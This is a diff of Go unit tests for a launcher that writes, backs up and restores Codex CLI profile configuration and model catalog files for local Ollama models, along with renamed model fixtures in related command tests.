+				t.Errorf("missing %q in:\n%s", want, content)
+			}
 		}
-		if !strings.Contains(content, "openai_base_url") {
-			t.Error("missing openai_base_url key")
+		if got, ok := codexRootStringValueOK(content, "profile"); ok {
+			t.Fatalf("legacy root profile should not be generated, got %q in:\n%s", got, content)
 		}
-		if !strings.Contains(content, "/v1/") {
-			t.Error("missing /v1/ suffix in base URL")
+		if strings.Contains(content, "[profiles.ollama-launch]") {
+			t.Fatalf("legacy profile section should not be generated, got:\n%s", content)
 		}
-		if !strings.Contains(content, `forced_login_method = "api"`) {
-			t.Error("missing forced_login_method key")
-		}
-		if !strings.Contains(content, `model_provider = "ollama-launch"`) {
-			t.Error("missing model_provider key")
-		}
-		if !strings.Contains(content, "[model_providers.ollama-launch]") {
-			t.Error("missing [model_providers.ollama-launch] section")
-		}
-		if !strings.Contains(content, `name = "Ollama"`) {
-			t.Error("missing model provider name")
+		if err := codexValidateConfigText(content); err != nil {
+			t.Fatalf("generated config should be valid TOML: %v\n%s", err, content)
 		}
 	})
 
-	t.Run("appends profile to existing file without profile", func(t *testing.T) {
+	t.Run("overwrites owned profile and backs up previous profile", func(t *testing.T) {
 		tmpDir := t.TempDir()
-		configPath := filepath.Join(tmpDir, "config.toml")
-		existing := "[some_other_section]\nkey = \"value\"\n"
-		os.WriteFile(configPath, []byte(existing), 0o644)
-
-		if err := writeCodexProfile(configPath); err != nil {
+		setTestHome(t, tmpDir)
+		profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
+		if err := os.MkdirAll(filepath.Dir(profilePath), 0o755); err != nil {
+			t.Fatal(err)
+		}
+		existing := "# original-codex-profile-backup-marker\nmodel = \"old\"\nmodel_provider = \"old-provider\"\n"
+		if err := os.WriteFile(profilePath, []byte(existing), 0o644); err != nil {
 			t.Fatal(err)
 		}
 
-		data, _ := os.ReadFile(configPath)
-		content := string(data)
-
-		if !strings.Contains(content, "[some_other_section]") {
-			t.Error("existing section was removed")
-		}
-		if !strings.Contains(content, "[profiles.ollama-launch]") {
-			t.Error("missing [profiles.ollama-launch] header")
-		}
-	})
-
-	t.Run("replaces existing profile section", func(t *testing.T) {
-		tmpDir := t.TempDir()
-		configPath := filepath.Join(tmpDir, "config.toml")
-		existing := "[profiles.ollama-launch]\nopenai_base_url = \"http://old:1234/v1/\"\n\n[model_providers.ollama-launch]\nname = \"Ollama\"\nbase_url = \"http://old:1234/v1/\"\n"
-		os.WriteFile(configPath, []byte(existing), 0o644)
-
-		if err := writeCodexProfile(configPath); err != nil {
+		if err := writeCodexProfileConfig(profilePath, "llama3.2", ""); err != nil {
 			t.Fatal(err)
 		}
 
-		data, _ := os.ReadFile(configPath)
+		data, _ := os.ReadFile(profilePath)
 		content := string(data)
-
-		if strings.Contains(content, "old:1234") {
-			t.Error("old URL was not replaced")
-		}
-		if strings.Count(content, "[profiles.ollama-launch]") != 1 {
-			t.Errorf("expected exactly one [profiles.ollama-launch] section, got %d", strings.Count(content, "[profiles.ollama-launch]"))
-		}
-		if strings.Count(content, "[model_providers.ollama-launch]") != 1 {
-			t.Errorf("expected exactly one [model_providers.ollama-launch] section, got %d", strings.Count(content, "[model_providers.ollama-launch]"))
-		}
-	})
-
-	t.Run("replaces profile while preserving following sections", func(t *testing.T) {
-		tmpDir := t.TempDir()
-		configPath := filepath.Join(tmpDir, "config.toml")
-		existing := "[profiles.ollama-launch]\nopenai_base_url = \"http://old:1234/v1/\"\n[another_section]\nfoo = \"bar\"\n"
-		os.WriteFile(configPath, []byte(existing), 0o644)
-
-		if err := writeCodexProfile(configPath); err != nil {
-			t.Fatal(err)
-		}
-
-		data, _ := os.ReadFile(configPath)
-		content := string(data)
-
-		if strings.Contains(content, "old:1234") {
-			t.Error("old URL was not replaced")
-		}
-		if !strings.Contains(content, "[another_section]") {
-			t.Error("following section was removed")
-		}
-		if !strings.Contains(content, "foo = \"bar\"") {
-			t.Error("following section content was removed")
-		}
-	})
-
-	t.Run("appends newline to file not ending with newline", func(t *testing.T) {
-		tmpDir := t.TempDir()
-		configPath := filepath.Join(tmpDir, "config.toml")
-		existing := "[other]\nkey = \"val\""
-		os.WriteFile(configPath, []byte(existing), 0o644)
-
-		if err := writeCodexProfile(configPath); err != nil {
-			t.Fatal(err)
-		}
-
-		data, _ := os.ReadFile(configPath)
-		content := string(data)
-
-		if !strings.Contains(content, "[profiles.ollama-launch]") {
-			t.Error("missing [profiles.ollama-launch] header")
-		}
-		// Should not have double blank lines from missing trailing newline
-		if strings.Contains(content, "\n\n\n") {
-			t.Error("unexpected triple newline in output")
+		if strings.Contains(content, "old-provider") {
+			t.Fatalf("profile should be replaced, got:\n%s", content)
 		}
+		assertBackupContains(t, filepath.Join(fileutil.BackupDir(), "ollama-launch.config.toml.*"), "original-codex-profile-backup-marker")
 	})
 
 	t.Run("uses custom OLLAMA_HOST", func(t *testing.T) {
 		t.Setenv("OLLAMA_HOST", "http://myhost:9999")
 		tmpDir := t.TempDir()
-		configPath := filepath.Join(tmpDir, "config.toml")
+		profilePath := filepath.Join(tmpDir, "ollama-launch.config.toml")
 
-		if err := writeCodexProfile(configPath); err != nil {
+		if err := writeCodexProfileConfig(profilePath, "llama3.2", ""); err != nil {
 			t.Fatal(err)
 		}
 
-		data, _ := os.ReadFile(configPath)
+		data, _ := os.ReadFile(profilePath)
 		content := string(data)
 
 		if !strings.Contains(content, "myhost:9999/v1/") {
 			t.Errorf("expected custom host in URL, got:\n%s", content)
 		}
 	})
+
+	t.Run("uses connectable host for unspecified bind address", func(t *testing.T) {
+		t.Setenv("OLLAMA_HOST", "http://0.0.0.0:11434")
+		tmpDir := t.TempDir()
+		profilePath := filepath.Join(tmpDir, "ollama-launch.config.toml")
+
+		if err := writeCodexProfileConfig(profilePath, "", ""); err != nil {
+			t.Fatal(err)
+		}
+
+		data, _ := os.ReadFile(profilePath)
+		content := string(data)
+
+		if strings.Contains(content, "0.0.0.0") {
+			t.Fatalf("config should not write bind-only host, got:\n%s", content)
+		}
+		if !strings.Contains(content, "127.0.0.1:11434/v1/") {
+			t.Fatalf("expected connectable loopback URL, got:\n%s", content)
+		}
+	})
 }
 
 func TestEnsureCodexConfig(t *testing.T) {
-	t.Run("creates .codex dir and config.toml", func(t *testing.T) {
+	t.Run("creates .codex dir, profile config, and model catalog", func(t *testing.T) {
 		tmpDir := t.TempDir()
 		setTestHome(t, tmpDir)
 
-		if err := ensureCodexConfig(); err != nil {
+		if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
 			t.Fatal(err)
 		}
 
 		configPath := filepath.Join(tmpDir, ".codex", "config.toml")
-		data, err := os.ReadFile(configPath)
-		if err != nil {
-			t.Fatalf("config.toml not created: %v", err)
+		if _, err := os.Stat(configPath); !os.IsNotExist(err) {
+			t.Fatalf("root config.toml should not be created by CLI config refresh, err=%v", err)
 		}
 
-		content := string(data)
-		if !strings.Contains(content, "[profiles.ollama-launch]") {
-			t.Error("missing [profiles.ollama-launch] header")
+		profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
+		data, err := os.ReadFile(profilePath)
+		if err != nil {
+			t.Fatalf("profile config not created: %v", err)
 		}
-		if !strings.Contains(content, "openai_base_url") {
-			t.Error("missing openai_base_url key")
+		content := string(data)
+		if strings.Contains(content, "[profiles.ollama-launch]") {
+			t.Fatalf("legacy profile section should not be generated, got:\n%s", content)
+		}
+		if got := codexRootStringValue(content, "model"); got != "llama3.2" {
+			t.Fatalf("profile model = %q, want llama3.2 in:\n%s", got, content)
+		}
+		if got := codexRootStringValue(content, "model_provider"); got != codexProfileName {
+			t.Fatalf("profile model_provider = %q, want %q in:\n%s", got, codexProfileName, content)
+		}
+		catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
+		if got := codexRootStringValue(content, "model_catalog_json"); got != catalogPath {
+			t.Fatalf("profile model_catalog_json = %q, want %q in:\n%s", got, catalogPath, content)
+		}
+		if got := codexSectionStringValue(content, codexProviderHeader(), "base_url"); !strings.Contains(got, "/v1/") {
+			t.Fatalf("provider base_url = %q, want /v1/ URL", got)
+		}
+
+		data, err = os.ReadFile(catalogPath)
+		if err != nil {
+			t.Fatalf("model.json not created: %v", err)
+		}
+		if !strings.Contains(string(data), `"slug": "llama3.2"`) {
+			t.Error("missing model catalog entry for selected model")
+		}
+	})
+
+	t.Run("writes requested local alias as catalog slug", func(t *testing.T) {
+		tmpDir := t.TempDir()
+		setTestHome(t, tmpDir)
+
+		models := []LaunchModel{
+			{Name: "gemma4:latest", ContextLength: 65_536, Details: api.ModelDetails{Format: "gguf"}},
+		}
+		if err := ensureCodexConfig("gemma4", models); err != nil {
+			t.Fatal(err)
+		}
+
+		catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
+		data, err := os.ReadFile(catalogPath)
+		if err != nil {
+			t.Fatalf("model.json not created: %v", err)
+		}
+
+		var catalog struct {
+			Models []map[string]any `json:"models"`
+		}
+		if err := json.Unmarshal(data, &catalog); err != nil {
+			t.Fatalf("model catalog should be valid JSON: %v", err)
+		}
+		if len(catalog.Models) != 1 {
+			t.Fatalf("catalog model count = %d, want 1", len(catalog.Models))
+		}
+		if got := catalog.Models[0]["slug"]; got != "gemma4" {
+			t.Fatalf("catalog slug = %v, want gemma4", got)
+		}
+		if got := catalog.Models[0]["context_window"]; got != float64(65_536) {
+			t.Fatalf("context_window = %v, want 65536", got)
 		}
 	})
 
@@ -208,22 +287,437 @@ func TestEnsureCodexConfig(t *testing.T) {
 		tmpDir := t.TempDir()
 		setTestHome(t, tmpDir)
 
-		if err := ensureCodexConfig(); err != nil {
+		if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
 			t.Fatal(err)
 		}
-		if err := ensureCodexConfig(); err != nil {
+		if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
 			t.Fatal(err)
 		}
 
 		configPath := filepath.Join(tmpDir, ".codex", "config.toml")
-		data, _ := os.ReadFile(configPath)
+		if _, err := os.Stat(configPath); !os.IsNotExist(err) {
+			t.Fatalf("root config.toml should not be created by CLI config refresh, err=%v", err)
+		}
+		profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
+		data, err := os.ReadFile(profilePath)
+		if err != nil {
+			t.Fatal(err)
+		}
 		content := string(data)
 
-		if strings.Count(content, "[profiles.ollama-launch]") != 1 {
-			t.Errorf("expected exactly one [profiles.ollama-launch] section after two calls, got %d", strings.Count(content, "[profiles.ollama-launch]"))
+		if strings.Contains(content, "[profiles.ollama-launch]") {
+			t.Fatalf("legacy profile section should not be generated, got:\n%s", content)
 		}
 		if strings.Count(content, "[model_providers.ollama-launch]") != 1 {
 			t.Errorf("expected exactly one [model_providers.ollama-launch] section after two calls, got %d", strings.Count(content, "[model_providers.ollama-launch]"))
 		}
 	})
+
+	t.Run("cleans legacy root profile that conflicts with --profile", func(t *testing.T) {
+		tmpDir := t.TempDir()
+		setTestHome(t, tmpDir)
+
+		configPath := filepath.Join(tmpDir, ".codex", "config.toml")
+		if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
+			t.Fatal(err)
+		}
+		existing := "" +
+			`profile = "ollama-launch"` + "\n" +
+			`model = "gpt-5.5"` + "\n" +
+			`model_provider = "openai"` + "\n\n" +
+			"[profiles.ollama-launch]\n" +
+			`model = "old-local"` + "\n" +
+			`model_provider = "ollama-launch"` + "\n\n" +
+			"[profiles.default]\n" +
+			`model = "gpt-5.5"` + "\n"
+		if err := os.WriteFile(configPath, []byte(existing), 0o644); err != nil {
+			t.Fatal(err)
+		}
+
+		if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
+			t.Fatal(err)
+		}
+
+		data, err := os.ReadFile(configPath)
+		if err != nil {
+			t.Fatal(err)
+		}
+		content := string(data)
+		if got, ok := codexRootStringValueOK(content, codexRootProfileKey); ok {
+			t.Fatalf("legacy root profile should be removed, got %q in:\n%s", got, content)
+		}
+		if strings.Contains(content, codexProfileHeader()) {
+			t.Fatalf("legacy profile table should be removed, got:\n%s", content)
+		}
+		for _, want := range []string{
+			`model = "gpt-5.5"`,
+			`model_provider = "openai"`,
+			"[profiles.default]",
+		} {
+			if !strings.Contains(content, want) {
+				t.Fatalf("expected %q to be preserved in:\n%s", want, content)
+			}
+		}
+
+		profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
+		profileData, err := os.ReadFile(profilePath)
+		if err != nil {
+			t.Fatal(err)
+		}
+		if !strings.Contains(string(profileData), `model = "llama3.2"`) {
+			t.Fatalf("managed profile was not written with selected model:\n%s", profileData)
+		}
+		assertBackupContains(t, filepath.Join(fileutil.BackupDir(), "config.toml.*"), `profile = "ollama-launch"`)
+	})
+}
+
+func TestCodexRestoreRemovesCLIProfileAndCatalogWithoutChangingUserRootConfig(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+
+	configPath := filepath.Join(tmpDir, ".codex", "config.toml")
+	if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	userConfig := "" +
+		`model = "gpt-5.5"` + "\n" +
+		`model_provider = "openai"` + "\n\n" +
+		"[model_providers.openai]\n" +
+		`name = "OpenAI"` + "\n"
+	if err := os.WriteFile(configPath, []byte(userConfig), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
+		t.Fatal(err)
+	}
+
+	if err := (&Codex{}).Restore(); err != nil {
+		t.Fatalf("Restore returned error: %v", err)
+	}
+
+	profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
+	if _, err := os.Stat(profilePath); !os.IsNotExist(err) {
+		t.Fatalf("CLI profile should be removed, got err=%v", err)
+	}
+	catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
+	if _, err := os.Stat(catalogPath); !os.IsNotExist(err) {
+		t.Fatalf("CLI catalog should be removed, got err=%v", err)
+	}
+	data, err := os.ReadFile(configPath)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(data) != userConfig {
+		t.Fatalf("user root config should be unchanged, got:\n%s", data)
+	}
+}
+
+func TestCodexRestoreDoesNotRewriteRootConfig(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+
+	configPath := filepath.Join(tmpDir, ".codex", "config.toml")
+	catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
+	profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
+	if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	legacyConfig := "" +
+		`profile = "ollama-launch"` + "\n" +
+		`model = "llama3.2"` + "\n" +
+		`model_provider = "ollama-launch"` + "\n" +
+		fmt.Sprintf("model_catalog_json = %q\n\n", catalogPath) +
+		"[model_providers.ollama-launch]\n" +
+		`name = "Ollama"` + "\n" +
+		`base_url = "http://127.0.0.1:11434/v1/"` + "\n" +
+		`wire_api = "responses"` + "\n\n" +
+		"[profiles.ollama-launch]\n" +
+		`model = "llama3.2"` + "\n\n" +
+		"[tools]\n" +
+		`web_search = true` + "\n"
+	if err := os.WriteFile(configPath, []byte(legacyConfig), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(catalogPath, []byte(`{"models":[]}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(profilePath, []byte(`model_provider = "ollama-launch"`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	if err := (&Codex{}).Restore(); err != nil {
+		t.Fatalf("Restore returned error: %v", err)
+	}
+
+	data, err := os.ReadFile(configPath)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(data) != legacyConfig {
+		t.Fatalf("root config should be left untouched, got:\n%s", data)
+	}
+	if _, err := os.Stat(profilePath); !os.IsNotExist(err) {
+		t.Fatalf("CLI profile should be removed, got err=%v", err)
+	}
+	if _, err := os.Stat(catalogPath); err != nil {
+		t.Fatalf("CLI catalog should be left while root config references it: %v", err)
+	}
+}
+
+func TestCodexRestoreDoesNotTouchCodexAppConfig(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+
+	configPath := filepath.Join(tmpDir, ".codex", "config.toml")
+	cliCatalogPath := filepath.Join(tmpDir, ".codex", "model.json")
+	appCatalogPath := filepath.Join(tmpDir, ".codex", codexAppModelCatalogFilename)
+	cliProfilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
+	appProfilePath := filepath.Join(tmpDir, ".codex", codexAppProfileName+".config.toml")
+	if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	appManagedConfig := "" +
+		`model = "llama3.2"` + "\n" +
+		fmt.Sprintf("model_provider = %q\n", codexAppProfileName) +
+		fmt.Sprintf("model_catalog_json = %q\n\n", appCatalogPath) +
+		codexProviderHeaderFor(codexAppProfileName) + "\n" +
+		`name = "Ollama"` + "\n" +
+		`base_url = "http://127.0.0.1:11434/v1/"` + "\n" +
+		`wire_api = "responses"` + "\n\n" +
+		codexProviderHeader() + "\n" +
+		`name = "Ollama"` + "\n" +
+		`base_url = "http://127.0.0.1:11434/v1/"` + "\n" +
+		`wire_api = "responses"` + "\n"
+	if err := os.WriteFile(configPath, []byte(appManagedConfig), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	restoreState := fmt.Sprintf(`{"had_profile":false,"had_model":true,"model":"qwen3:8b","had_model_provider":true,"model_provider":%q,"had_model_catalog_json":true,"model_catalog_json":%q}`, codexProfileName, cliCatalogPath)
+	if err := os.MkdirAll(filepath.Dir(codexAppRestoreStatePath()), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(codexAppRestoreStatePath(), []byte(restoreState), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	for _, path := range []string{cliCatalogPath, appCatalogPath, cliProfilePath, appProfilePath} {
+		if err := os.WriteFile(path, []byte(`{"models":[]}`), 0o644); err != nil {
+			t.Fatalf("write %s: %v", path, err)
+		}
+	}
+
+	if err := (&Codex{}).Restore(); err != nil {
+		t.Fatalf("Restore returned error: %v", err)
+	}
+
+	data, err := os.ReadFile(configPath)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(data) != appManagedConfig {
+		t.Fatalf("Codex App root config should be left untouched, got:\n%s", data)
+	}
+	if _, err := os.Stat(cliProfilePath); !os.IsNotExist(err) {
+		t.Fatalf("CLI profile should be removed, got err=%v", err)
+	}
+	if _, err := os.Stat(cliCatalogPath); !os.IsNotExist(err) {
+		t.Fatalf("CLI catalog should be removed when root config does not reference it, got err=%v", err)
+	}
+	for _, path := range []string{appCatalogPath, appProfilePath, codexAppRestoreStatePath()} {
+		if _, err := os.Stat(path); err != nil {
+			t.Fatalf("%s should be left untouched, got err=%v", path, err)
+		}
+	}
+}
+
+func TestLaunchIntegrationCodexRestoreDoesNotRequireInstalledCLI(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	t.Setenv("PATH", tmpDir)
+
+	profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
+	if err := os.MkdirAll(filepath.Dir(profilePath), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(profilePath, []byte(`model_provider = "ollama-launch"`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	if err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{Name: "codex", Restore: true}); err != nil {
+		t.Fatalf("LaunchIntegration returned error: %v", err)
+	}
+	if _, err := os.Stat(profilePath); !os.IsNotExist(err) {
+		t.Fatalf("CLI restore should run without codex installed and remove profile, got err=%v", err)
+	}
+}
+
+func assertBackupContains(t *testing.T, pattern, marker string) {
+	t.Helper()
+	backups, err := filepath.Glob(pattern)
+	if err != nil {
+		t.Fatal(err)
+	}
+	for _, backupPath := range backups {
+		data, err := os.ReadFile(backupPath)
+		if err != nil {
+			t.Fatal(err)
+		}
+		if strings.Contains(string(data), marker) {
+			return
+		}
+	}
+	t.Fatalf("backup matching %q with marker %q not found", pattern, marker)
+}
+
+func TestModelInfoContextLength(t *testing.T) {
+	tests := []struct {
+		name      string
+		modelInfo map[string]any
+		want      int
+	}{
+		{"float64 value", map[string]any{"qwen3_5_moe.context_length": float64(262144)}, 262144},
+		{"int value", map[string]any{"llama.context_length": 131072}, 131072},
+		{"no context_length key", map[string]any{"llama.embedding_length": float64(4096)}, 0},
+		{"empty map", map[string]any{}, 0},
+		{"nil map", nil, 0},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got, _ := modelInfoContextLength(tt.modelInfo)
+			if got != tt.want {
+				t.Errorf("modelInfoContextLength() = %d, want %d", got, tt.want)
+			}
+		})
+	}
+}
+
+func TestBuildCodexModelEntryContextWindow(t *testing.T) {
+	tests := []struct {
+		name          string
+		model         LaunchModel
+		envContextLen string
+		wantContext   int
+	}{
+		{
+			name: "inventory context length as fallback",
+			model: LaunchModel{
+				Name:          "llama3.2",
+				ContextLength: 131072,
+				Details:       api.ModelDetails{Format: "gguf"},
+			},
+			wantContext: 131072,
+		},
+		{
+			name: "details context length is used when model context is empty",
+			model: LaunchModel{
+				Name:    "llama3.2",
+				Details: api.ModelDetails{Format: "gguf", ContextLength: 131072},
+			},
+			wantContext: 131072,
+		},
+		{
+			name: "OLLAMA_CONTEXT_LENGTH overrides local gguf inventory context",
+			model: LaunchModel{
+				Name:          "llama3.2",
+				ContextLength: 131072,
+				Details:       api.ModelDetails{Format: "gguf"},
+			},
+			envContextLen: "64000",
+			wantContext:   64000,
+		},
+		{
+			name: "safetensors uses inventory context only",
+			model: LaunchModel{
+				Name:          "llama3.2",
+				ContextLength: 131072,
+				Details:       api.ModelDetails{Format: "safetensors"},
+			},
+			envContextLen: "64000",
+			wantContext:   131072,
+		},
+		{
+			name: "cloud model uses hardcoded limits",
+			model: LaunchModel{
+				Name:          "qwen3.5:cloud",
+				ContextLength: 131072,
+				Details:       api.ModelDetails{Format: "gguf"},
+			},
+			envContextLen: "64000",
+			wantContext:   262144,
+		},
+		{
+			name: "unknown cloud model without metadata uses fallback context",
+			model: LaunchModel{
+				Name: "deepseek-v4-pro:cloud",
+			},
+			envContextLen: "64000",
+			wantContext:   codexFallbackContextWindow,
+		},
+		{
+			name: "vision capability without reasoning advertisement",
+			model: LaunchModel{
+				Name:          "llama3.2",
+				ContextLength: 131072,
+				Details:       api.ModelDetails{Format: "gguf"},
+				Capabilities:  []modelpkg.Capability{modelpkg.CapabilityVision, modelpkg.CapabilityThinking},
+			},
+			wantContext: 131072,
+		},
+		{
+			name:        "missing metadata uses fallback context",
+			model:       LaunchModel{Name: "llama3.2"},
+			wantContext: codexFallbackContextWindow,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if tt.envContextLen != "" {
+				t.Setenv("OLLAMA_CONTEXT_LENGTH", tt.envContextLen)
+			} else {
+				t.Setenv("OLLAMA_CONTEXT_LENGTH", "")
+			}
+
+			entry := buildCodexModelEntry(tt.model)
+
+			gotContext, _ := entry["context_window"].(int)
+			if gotContext != tt.wantContext {
+				t.Errorf("context_window = %d, want %d", gotContext, tt.wantContext)
+			}
+
+			if tt.name == "vision capability without reasoning advertisement" {
+				modalities, _ := entry["input_modalities"].([]string)
+				if !slices.Contains(modalities, "image") {
+					t.Error("expected image in input_modalities")
+				}
+				levels, _ := entry["supported_reasoning_levels"].([]any)
+				if len(levels) != 0 {
+					t.Errorf("supported_reasoning_levels length = %d, want 0", len(levels))
+				}
+				if got, _ := entry["supports_reasoning_summaries"].(bool); got {
+					t.Error("supports_reasoning_summaries = true, want false")
+				}
+			}
+
+			if tt.name == "cloud model uses hardcoded limits" {
+				truncationPolicy, _ := entry["truncation_policy"].(map[string]any)
+				if mode, _ := truncationPolicy["mode"].(string); mode != "tokens" {
+					t.Errorf("truncation_policy mode = %q, want %q", mode, "tokens")
+				}
+			}
+
+			requiredKeys := []string{"slug", "display_name", "shell_type"}
+			for _, key := range requiredKeys {
+				if _, ok := entry[key]; !ok {
+					t.Errorf("missing required key %q", key)
+				}
+			}
+			if _, ok := entry["apply_patch_tool_type"]; ok {
+				t.Error("apply_patch_tool_type should be omitted so Codex CLI defaults can handle schema changes")
+			}
+
+			if _, err := json.Marshal(entry); err != nil {
+				t.Errorf("entry is not JSON serializable: %v", err)
+			}
+		})
+	}
 }

cmd/launch/command_test.go

@@ -281,7 +281,7 @@ func TestLaunchCmdModelFlagFiltersDisabledCloudFromSavedConfig(t *testing.T) {
 		case "/api/status":
 			fmt.Fprintf(w, `{"cloud":{"disabled":true,"source":"config"}}`)
 		case "/api/show":
-			fmt.Fprintf(w, `{"model":"llama3.2"}`)
+			fmt.Fprintf(w, `{"model":"sample-model"}`)
 		default:
 			w.WriteHeader(http.StatusNotFound)
 		}
@@ -294,7 +294,7 @@ func TestLaunchCmdModelFlagFiltersDisabledCloudFromSavedConfig(t *testing.T) {
 	defer restore()
 
 	cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error { return nil }, func(cmd *cobra.Command) {})
-	cmd.SetArgs([]string{"stubeditor", "--model", "llama3.2"})
+	cmd.SetArgs([]string{"stubeditor", "--model", "sample-model"})
 	if err := cmd.Execute(); err != nil {
 		t.Fatalf("launch command failed: %v", err)
 	}
@@ -303,14 +303,14 @@ func TestLaunchCmdModelFlagFiltersDisabledCloudFromSavedConfig(t *testing.T) {
 	if err != nil {
 		t.Fatalf("failed to reload integration config: %v", err)
 	}
-	if diff := cmp.Diff([]string{"llama3.2"}, saved.Models); diff != "" {
+	if diff := cmp.Diff([]string{"sample-model"}, saved.Models); diff != "" {
 		t.Fatalf("saved models mismatch (-want +got):\n%s", diff)
 	}
-	if diff := cmp.Diff([][]string{{"llama3.2"}}, stub.edited); diff != "" {
+	if diff := cmp.Diff([][]string{{"sample-model"}}, stub.edited); diff != "" {
 		t.Fatalf("editor models mismatch (-want +got):\n%s", diff)
 	}
-	if stub.ranModel != "llama3.2" {
-		t.Fatalf("expected launch to run with llama3.2, got %q", stub.ranModel)
+	if stub.ranModel != "sample-model" {
+		t.Fatalf("expected launch to run with sample-model, got %q", stub.ranModel)
 	}
 }
 
@@ -325,9 +325,9 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) {
 		case "/api/experimental/model-recommendations":
 			fmt.Fprint(w, `{"recommendations":[]}`)
 		case "/api/tags":
-			fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`)
+			fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`)
 		case "/api/show":
-			fmt.Fprint(w, `{"model":"llama3.2"}`)
+			fmt.Fprint(w, `{"model":"sample-model"}`)
 		default:
 			w.WriteHeader(http.StatusNotFound)
 		}
@@ -347,7 +347,7 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) {
 	DefaultSingleSelector = func(title string, items []SelectionItem, current string) (string, error) {
 		selectorCalls++
 		gotCurrent = current
-		return "llama3.2", nil
+		return "sample-model", nil
 	}
 
 	cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error { return nil }, func(cmd *cobra.Command) {})
@@ -364,7 +364,7 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) {
 	if gotCurrent != "" {
 		t.Fatalf("expected disabled override to be cleared before selection, got current %q", gotCurrent)
 	}
-	if stub.ranModel != "llama3.2" {
+	if stub.ranModel != "sample-model" {
 		t.Fatalf("expected launch to run with replacement local model, got %q", stub.ranModel)
 	}
 	if !strings.Contains(stderr, "Warning: ignoring --model glm-5:cloud because cloud is disabled") {
@@ -375,7 +375,7 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) {
 	if err != nil {
 		t.Fatalf("failed to reload integration config: %v", err)
 	}
-	if diff := cmp.Diff([]string{"llama3.2"}, saved.Models); diff != "" {
+	if diff := cmp.Diff([]string{"sample-model"}, saved.Models); diff != "" {
 		t.Fatalf("saved models mismatch (-want +got):\n%s", diff)
 	}
 }
@@ -424,7 +424,7 @@ func TestLaunchCmdYes_AutoConfirmsLaunchPromptPath(t *testing.T) {
 	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 		switch r.URL.Path {
 		case "/api/show":
-			fmt.Fprint(w, `{"model":"llama3.2"}`)
+			fmt.Fprint(w, `{"model":"sample-model"}`)
 		case "/api/status":
 			w.WriteHeader(http.StatusNotFound)
 			fmt.Fprint(w, `{"error":"not found"}`)
@@ -445,16 +445,16 @@ func TestLaunchCmdYes_AutoConfirmsLaunchPromptPath(t *testing.T) {
 	}
 
 	cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error { return nil }, func(cmd *cobra.Command) {})
-	cmd.SetArgs([]string{"stubeditor", "--model", "llama3.2", "--yes"})
+	cmd.SetArgs([]string{"stubeditor", "--model", "sample-model", "--yes"})
 	if err := cmd.Execute(); err != nil {
 		t.Fatalf("launch command with --yes failed: %v", err)
 	}
 
-	if diff := cmp.Diff([][]string{{"llama3.2"}}, stub.edited); diff != "" {
+	if diff := cmp.Diff([][]string{{"sample-model"}}, stub.edited); diff != "" {
 		t.Fatalf("editor models mismatch (-want +got):\n%s", diff)
 	}
-	if stub.ranModel != "llama3.2" {
-		t.Fatalf("expected launch to run with llama3.2, got %q", stub.ranModel)
+	if stub.ranModel != "sample-model" {
+		t.Fatalf("expected launch to run with sample-model, got %q", stub.ranModel)
 	}
 }
 
